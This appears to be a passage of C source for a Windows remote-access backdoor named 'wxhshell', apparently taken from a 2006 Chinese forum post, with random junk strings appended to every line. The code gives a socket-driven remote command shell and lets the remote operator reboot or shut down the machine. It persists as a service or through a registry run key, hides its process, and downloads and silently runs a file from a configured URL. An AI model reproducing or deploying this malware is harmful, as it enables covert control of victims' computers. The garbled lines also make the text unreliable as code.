      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +$xeoxU>;  
    break; l no vykR  
  } *`j-i  
  // 安装 aK,z}l(N  
  case 'i': { (>mI'!4d  
    if(Install()) ;!o]wHmA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^mAYBOE  
    else KZ!3j_pKy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) \Y7&  
    break;  hjO*~  
    } "#v=IJy&r  
  // 卸载 wU#F_De)R:  
  case 'r': { )uv=S;+  
    if(Uninstall()) H$af /^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Rek4<5  
    else T!wo2EzE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3+e;[My+  
    break; tb :L\A^:  
    } *. 3N=EO  
  // 显示 wxhshell 所在路径 X7,PEA  
  case 'p': { V\V)<BARe  
    char svExeFile[MAX_PATH]; [^8n0{JiN  
    strcpy(svExeFile,"\n\r"); h^ -. ]Y  
      strcat(svExeFile,ExeFile); >3awn*N  
        send(wsh,svExeFile,strlen(svExeFile),0); #W.vX?-'0  
    break; j CTAKaq  
    }  0l;<5  
  // 重启 R<i38/ ~G  
  case 'b': { 1 T130L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JT fd#g?I  
    if(Boot(REBOOT)) E7Cy(LO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _(m't n>   
    else { RzhWD^bB  
    closesocket(wsh); lnE+Au'  
    ExitThread(0); e!fqXVEVR  
    } qS&%!  
    break; 6Es? MW=  
    } y8VpFa  
  // 关机 @\&m+;6  
  case 'd': { jL)WPq!m+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bqanFQj  
    if(Boot(SHUTDOWN)) G8W#<1LE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %!ebO*8q  
    else { 0J.dG/I%  
    closesocket(wsh);  -C#PQV  
    ExitThread(0); B*htN  
    } {{C`mgC  
    break; c:83LZ  
    } B12$I:x`  
  // 获取shell y}C`&nW[=  
  case 's': { #S%Q*k<hw  
    CmdShell(wsh); ;X,1&#I  
    closesocket(wsh); crO@?m1  
    ExitThread(0); d2X[(3  
    break; nS()u}c;r  
  } @v\*AYr'M  
  // 退出 *%Qn{x  
  case 'x': { J==SZ v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W~_t~Vg5  
    CloseIt(wsh); dk8wIa"K`  
    break; P#v*TD'  
    } hP J4Oj1O  
  // 离开 ~-a'v!  
  case 'q': { @{h?+ d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1 4 LI5T  
    closesocket(wsh); cYNJhGY  
    WSACleanup(); 9>/wUQs!]  
    exit(1); U=bEA1*@0  
    break; 'H9=J*9oG  
        } JT[*3 h  
  } T5wjU*=IL  
  } SFH-^ly&D  
%/kyT%1  
  // 提示信息 x0a.!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u% 2<\:~j  
} Ql?^ B SqG  
  } ~Lfcg*  
 Do?P<x o  
  return; `,wu}F85  
} P+e KZo  
i5hD#  
// shell模块句柄 b7C e%Br  
int CmdShell(SOCKET sock) OH<?DcfeL  
{ OLq 0V3m  
STARTUPINFO si; eX&Gw{U-f  
ZeroMemory(&si,sizeof(si)); m$>iS@R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wh 0<Uv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D)='8jV7  
PROCESS_INFORMATION ProcessInfo; x:K?\<  
char cmdline[]="cmd"; S_J :&9L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x_@i(oQ:_  
  return 0; ?4PQQd  
} jigs6#  
WoL9V"]  
// 自身启动模式 ~M ?|Vn  
int StartFromService(void) "i'bTVs  
{ TmEY W<  
typedef struct ateUpGM QU  
{ [_DPxM=V  
  DWORD ExitStatus; H;_yRUY9  
  DWORD PebBaseAddress; &R$Q\ ,  
  DWORD AffinityMask; :jNYP{Br  
  DWORD BasePriority; .e[Tu|qo  
  ULONG UniqueProcessId; mE $dO3  
  ULONG InheritedFromUniqueProcessId; !oSLl.fQd  
}   PROCESS_BASIC_INFORMATION; euRss#;  
:Am-8  
PROCNTQSIP NtQueryInformationProcess; B< ;==|  
f>iuHR*EXB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &H;8QZ8uw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;"7/@&M\m  
744=3v  
  HANDLE             hProcess; Cyk s  
  PROCESS_BASIC_INFORMATION pbi; >S&U.  
")\aJ8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X\2_; zwf  
  if(NULL == hInst ) return 0; q(9%^cV6  
r#h {$iW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9`X&,S~e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?iz <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lt<oi8'N  
S=9E@(]  
  if (!NtQueryInformationProcess) return 0; nk08>veG  
<c%n?QK{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v5Y@O|i#  
  if(!hProcess) return 0; 9+VF<;Xw  
|HgfV@Han  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QT}iaeC1i  
mTd<2Hy  
  CloseHandle(hProcess); 5ZsDgOeY  
:uR>UDlPX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &wGg6$  
if(hProcess==NULL) return 0; !$E~\uT  
'Kd7l}e!  
HMODULE hMod; RK3.-  
char procName[255]; S~&\o\"5  
unsigned long cbNeeded; {d}26 $<$]  
BD4"pcr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2mOfsn d@  
[;F{mN  
  CloseHandle(hProcess); ;qG1r@o  
5=.7\#D  
if(strstr(procName,"services")) return 1; // 以服务启动 ]-rczl|o  
VVN # $  
  return 0; // 注册表启动 Jmy)J!ib*  
} '}fel5YV  
JchA=n  
// 主模块 YiBOi?h9  
int StartWxhshell(LPSTR lpCmdLine) 0O^r.&{j>  
{ 5 2fO)!  
  SOCKET wsl; =_pmy>_z  
BOOL val=TRUE; B,:23[v  
  int port=0; |'@V<^GR  
  struct sockaddr_in door; |y'b21 7t  
6|i`@|#  
  if(wscfg.ws_autoins) Install(); >pa\n9=Q^  
@Z,qu2~|!  
port=atoi(lpCmdLine); BMe72  
T+3k$G[e/  
if(port<=0) port=wscfg.ws_port; 89ZDOji?O  
XZ; *>(  
  WSADATA data; @s3aR*ny$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +-'`Q Ae  
1.uUMW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +i2YX7Of  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -.^=Z!=M  
  door.sin_family = AF_INET; ~}Kp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]kzv8#  
  door.sin_port = htons(port); ]gjr+GV  
#I bS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k q/t]%(  
closesocket(wsl); Dg1kbO=2  
return 1; 7j4ej|Fjo  
} @Pd) %'s  
$:T<IU[E  
  if(listen(wsl,2) == INVALID_SOCKET) { dx k;@Tz  
closesocket(wsl); -ryDsq  
return 1; !5yRWMO9X~  
} />2A<{6\=P  
  Wxhshell(wsl); >_|Z{:z]d.  
  WSACleanup(); +9Xu"OFm  
z" b/osV  
return 0; '-$))AdD  
{QIS411  
} ~.\73_M=A  
Z%,\+tRe  
// 以NT服务方式启动 7.w *+Z>z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ t>}SE  
{ UE}8Rkt  
DWORD   status = 0; EqNz L*E  
  DWORD   specificError = 0xfffffff; RT8_@8  
0})7of  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1NE!=;VOl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tEpIyC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; INN/VDsJ  
  serviceStatus.dwWin32ExitCode     = 0; T:w2  
  serviceStatus.dwServiceSpecificExitCode = 0; $M}k%Z  
  serviceStatus.dwCheckPoint       = 0; mG}^'?^K  
  serviceStatus.dwWaitHint       = 0; _rWM]  
ShEaL&'J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); []6ShcqJ[v  
  if (hServiceStatusHandle==0) return; fY)4]=L  
qb>|n1F_  
status = GetLastError(); rA1zyZlz  
  if (status!=NO_ERROR) +[X.-,yW  
{ 6\)8mK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0,"n-5Im  
    serviceStatus.dwCheckPoint       = 0; gr[ "A  
    serviceStatus.dwWaitHint       = 0; HiS,q0  
    serviceStatus.dwWin32ExitCode     = status; [+:mt</HN  
    serviceStatus.dwServiceSpecificExitCode = specificError; laD.or  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u$Pf.#  
    return; \U<F\i  
  } mhJOR'2  
V!kQuQJ>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u #=kb5}{  
  serviceStatus.dwCheckPoint       = 0; xRTg [  
  serviceStatus.dwWaitHint       = 0; x jP" 'yU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !7,K9/"  
} "PDSqYA  
Z|cTzunp  
// 处理NT服务事件,比如:启动、停止 x#}j3" PP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v @I^:I  
{ 9bzYADLI  
switch(fdwControl) v&CO#vK5.  
{ [ ;3EzZL  
case SERVICE_CONTROL_STOP: _uy5?auQ  
  serviceStatus.dwWin32ExitCode = 0; Lct+cKKU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qS/71Kv'  
  serviceStatus.dwCheckPoint   = 0; 45O6TqepN  
  serviceStatus.dwWaitHint     = 0; v_1JH<GJ-  
  { A0N ;VYv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0or6_ y6  
  } D^R! |K/  
  return; m(7_ZiL=  
case SERVICE_CONTROL_PAUSE: ;ZqD60%\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <4A(Z$ZX)  
  break; I +4qu|0lA  
case SERVICE_CONTROL_CONTINUE: "*>QxA%c4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @l6 dJ  
  break; 0?4^.N n3  
case SERVICE_CONTROL_INTERROGATE: :#!F 7u  
  break; s)&R W#:X  
}; <812V8<!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  q&Ua(I  
} V:" \(Y  
QX~72X=(  
// 标准应用程序主函数 O [ ;6E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XuAc3~HAd  
{ +WEO]q?K  
6`$z*C2{  
// 获取操作系统版本 apWrcaj  
OsIsNt=GetOsVer(); P*^UU\x'4I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HvfTC<+H  
YwTtI ID%  
  // 从命令行安装 ^J=txsx  
  if(strpbrk(lpCmdLine,"iI")) Install(); o>k-~v7  
).#D:eO[~  
  // 下载执行文件 C&K(({5O  
if(wscfg.ws_downexe) { r3lr`s`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k/rkJ|i+p  
  WinExec(wscfg.ws_filenam,SW_HIDE); :QY9pT  
} RPqn#B  
@[ N~;>  
if(!OsIsNt) { Yy:sZJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;iI2K/ 3  
HideProc(); :z5I bas:  
StartWxhshell(lpCmdLine); \}&w/.T  
} KD<`-b)7<  
else NNV.x7  
  if(StartFromService()) .:Xe*Q  
  // 以服务方式启动 t-{OP?cE1  
  StartServiceCtrlDispatcher(DispatchTable); )n61IqrW  
else xg!\C@$  
  // 普通方式启动 *VAi!3Rx;  
  StartWxhshell(lpCmdLine); G`K7P`m  
e"09b<69  
return 0; m/c~2?-;  
}
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只看该作者 1 发表于: 2006-10-10
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